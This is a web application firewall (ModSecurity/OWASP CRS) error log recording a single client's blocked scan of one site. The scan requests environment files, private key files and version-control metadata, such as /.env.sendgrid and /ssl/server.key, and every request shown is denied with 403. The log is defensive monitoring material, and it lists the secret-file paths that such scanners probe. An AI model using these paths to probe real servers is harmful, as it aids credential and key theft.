[Mon Oct 26 07:05:09.290772 2026] [security2:error] [pid 3019482:tid 3019482] [client 34.39.164.1:35048] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.stage"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "at8z5YeGqS3CXz8ptQGTsAAAAAI"]
[Mon Oct 26 07:05:09.290953 2026] [security2:error] [pid 3019482:tid 3019482] [client 34.39.164.1:35048] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "at8z5YeGqS3CXz8ptQGTsAAAAAI"]
[Mon Oct 26 07:05:09.291235 2026] [security2:error] [pid 3019482:tid 3019482] [client 34.39.164.1:35048] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "at8z5YeGqS3CXz8ptQGTsAAAAAI"]
[Mon Oct 26 07:05:09.331523 2026] [security2:error] [pid 3019694:tid 3019694] [client 34.39.164.1:35366] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/ssl/server.key"] [unique_id "at8z5ScSv4BJXPfRnP7RgAAAACg"]
[Mon Oct 26 07:05:09.331879 2026] [security2:error] [pid 3019694:tid 3019694] [client 34.39.164.1:35366] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/ssl/server.key"] [unique_id "at8z5ScSv4BJXPfRnP7RgAAAACg"]
[Mon Oct 26 07:05:09.332201 2026] [security2:error] [pid 3019694:tid 3019694] [client 34.39.164.1:35366] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/ssl/server.key"] [unique_id "at8z5ScSv4BJXPfRnP7RgAAAACg"]
[Mon Oct 26 07:05:09.567252 2026] [security2:error] [pid 3019696:tid 3019696] [client 34.39.164.1:35364] ModSecurity: Warning. Matched phrase "/.svn/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.svn/ found within REQUEST_FILENAME: /.svn/entries"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.svn/entries"] [unique_id "at8z5S49vFDgOd_G0u5XIgAAACo"]
[Mon Oct 26 07:05:09.567515 2026] [security2:error] [pid 3019696:tid 3019696] [client 34.39.164.1:35364] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.svn/entries"] [unique_id "at8z5S49vFDgOd_G0u5XIgAAACo"]
[Mon Oct 26 07:05:09.567772 2026] [security2:error] [pid 3019696:tid 3019696] [client 34.39.164.1:35364] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.svn/entries"] [unique_id "at8z5S49vFDgOd_G0u5XIgAAACo"]
[Mon Oct 26 07:05:09.827823 2026] [security2:error] [pid 3019677:tid 3019677] [client 34.39.164.1:35170] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/host.key"] [unique_id "at8z5RtqC-HENAKDpEgEnwAAABU"]
[Mon Oct 26 07:05:09.828130 2026] [security2:error] [pid 3019677:tid 3019677] [client 34.39.164.1:35170] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/host.key"] [unique_id "at8z5RtqC-HENAKDpEgEnwAAABU"]
[Mon Oct 26 07:05:09.828346 2026] [security2:error] [pid 3019677:tid 3019677] [client 34.39.164.1:35170] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/host.key"] [unique_id "at8z5RtqC-HENAKDpEgEnwAAABU"]
[Mon Oct 26 07:05:09.844931 2026] [security2:error] [pid 3019692:tid 3019692] [client 34.39.164.1:35236] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/ssl/localhost.key"] [unique_id "at8z5bFCbpdt8WThhgVJwgAAACY"]
[Mon Oct 26 07:05:09.845316 2026] [security2:error] [pid 3019692:tid 3019692] [client 34.39.164.1:35236] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/ssl/localhost.key"] [unique_id "at8z5bFCbpdt8WThhgVJwgAAACY"]
[Mon Oct 26 07:05:09.845623 2026] [security2:error] [pid 3019692:tid 3019692] [client 34.39.164.1:35236] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/ssl/localhost.key"] [unique_id "at8z5bFCbpdt8WThhgVJwgAAACY"]
[Mon Oct 26 07:05:09.876939 2026] [security2:error] [pid 3017657:tid 3017657] [client 34.39.164.1:47332] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env_secret"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env_secret"] [unique_id "at8z5evTeiIeeTOEx2-3JAAAABQ"]
[Mon Oct 26 07:05:09.877108 2026] [security2:error] [pid 3017657:tid 3017657] [client 34.39.164.1:47332] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env_secret"] [unique_id "at8z5evTeiIeeTOEx2-3JAAAABQ"]
[Mon Oct 26 07:05:09.877315 2026] [security2:error] [pid 3017657:tid 3017657] [client 34.39.164.1:47332] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env_secret"] [unique_id "at8z5evTeiIeeTOEx2-3JAAAABQ"]
[Mon Oct 26 07:05:09.878388 2026] [security2:error] [pid 3019697:tid 3019697] [client 34.39.164.1:35324] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.mail"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.mail"] [unique_id "at8z5SzBVbdmenz1Qplf3QAAACs"]
[Mon Oct 26 07:05:09.878532 2026] [security2:error] [pid 3019697:tid 3019697] [client 34.39.164.1:35324] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.mail"] [unique_id "at8z5SzBVbdmenz1Qplf3QAAACs"]
[Mon Oct 26 07:05:09.878735 2026] [security2:error] [pid 3019697:tid 3019697] [client 34.39.164.1:35324] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.mail"] [unique_id "at8z5SzBVbdmenz1Qplf3QAAACs"]
[Mon Oct 26 07:05:09.938545 2026] [security2:error] [pid 3019690:tid 3019690] [client 34.39.164.1:35284] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.smtp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.smtp"] [unique_id "at8z5QFmwSOxi_IjJL3BHAAAACQ"]
[Mon Oct 26 07:05:09.938769 2026] [security2:error] [pid 3019690:tid 3019690] [client 34.39.164.1:35284] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.smtp"] [unique_id "at8z5QFmwSOxi_IjJL3BHAAAACQ"]
[Mon Oct 26 07:05:09.939105 2026] [security2:error] [pid 3019690:tid 3019690] [client 34.39.164.1:35284] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.smtp"] [unique_id "at8z5QFmwSOxi_IjJL3BHAAAACQ"]
[Mon Oct 26 07:05:09.988266 2026] [security2:error] [pid 3019693:tid 3019693] [client 34.39.164.1:35228] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.ses"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.ses"] [unique_id "at8z5QmtqRvGLzY5nYxxGgAAACc"]
[Mon Oct 26 07:05:09.988475 2026] [security2:error] [pid 3019693:tid 3019693] [client 34.39.164.1:35228] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.ses"] [unique_id "at8z5QmtqRvGLzY5nYxxGgAAACc"]
[Mon Oct 26 07:05:09.988747 2026] [security2:error] [pid 3019693:tid 3019693] [client 34.39.164.1:35228] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.ses"] [unique_id "at8z5QmtqRvGLzY5nYxxGgAAACc"]
[Mon Oct 26 07:05:09.990819 2026] [security2:error] [pid 3019676:tid 3019676] [client 34.39.164.1:35066] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.sendgrid"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.sendgrid"] [unique_id "at8z5csf6KX343046fT7-wAAABM"]
[Mon Oct 26 07:05:09.991072 2026] [security2:error] [pid 3019676:tid 3019676] [client 34.39.164.1:35066] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.sendgrid"] [unique_id "at8z5csf6KX343046fT7-wAAABM"]
[Mon Oct 26 07:05:09.991311 2026] [security2:error] [pid 3019676:tid 3019676] [client 34.39.164.1:35066] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.sendgrid"] [unique_id "at8z5csf6KX343046fT7-wAAABM"]
[Mon Oct 26 07:05:09.996787 2026] [security2:error] [pid 3019670:tid 3019670] [client 34.39.164.1:35104] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.github/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.github/.env"] [unique_id "at8z5f2f_7_KPo47JjIUcQAAAAk"]
[Mon Oct 26 07:05:09.996950 2026] [security2:error] [pid 3019670:tid 3019670] [client 34.39.164.1:35104] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.github/.env"] [unique_id "at8z5f2f_7_KPo47JjIUcQAAAAk"]
[Mon Oct 26 07:05:09.997184 2026] [security2:error] [pid 3019670:tid 3019670] [client 34.39.164.1:35104] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.github/.env"] [unique_id "at8z5f2f_7_KPo47JjIUcQAAAAk"]
[Mon Oct 26 07:05:10.017322 2026] [security2:error] [pid 3010074:tid 3010074] [client 34.39.164.1:47338] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.key"] [unique_id "at8z5iz2IVlcktcA6K04YgAAABg"]
[Mon Oct 26 07:05:10.017511 2026] [security2:error] [pid 3010074:tid 3010074] [client 34.39.164.1:47338] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.key"] [unique_id "at8z5iz2IVlcktcA6K04YgAAABg"]
[Mon Oct 26 07:05:10.017788 2026] [security2:error] [pid 3010074:tid 3010074] [client 34.39.164.1:47338] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.key"] [unique_id "at8z5iz2IVlcktcA6K04YgAAABg"]
[Mon Oct 26 07:05:10.088662 2026] [security2:error] [pid 3019692:tid 3019692] [client 34.39.164.1:35236] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.docker"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "at8z5rFCbpdt8WThhgVJwwAAACY"]
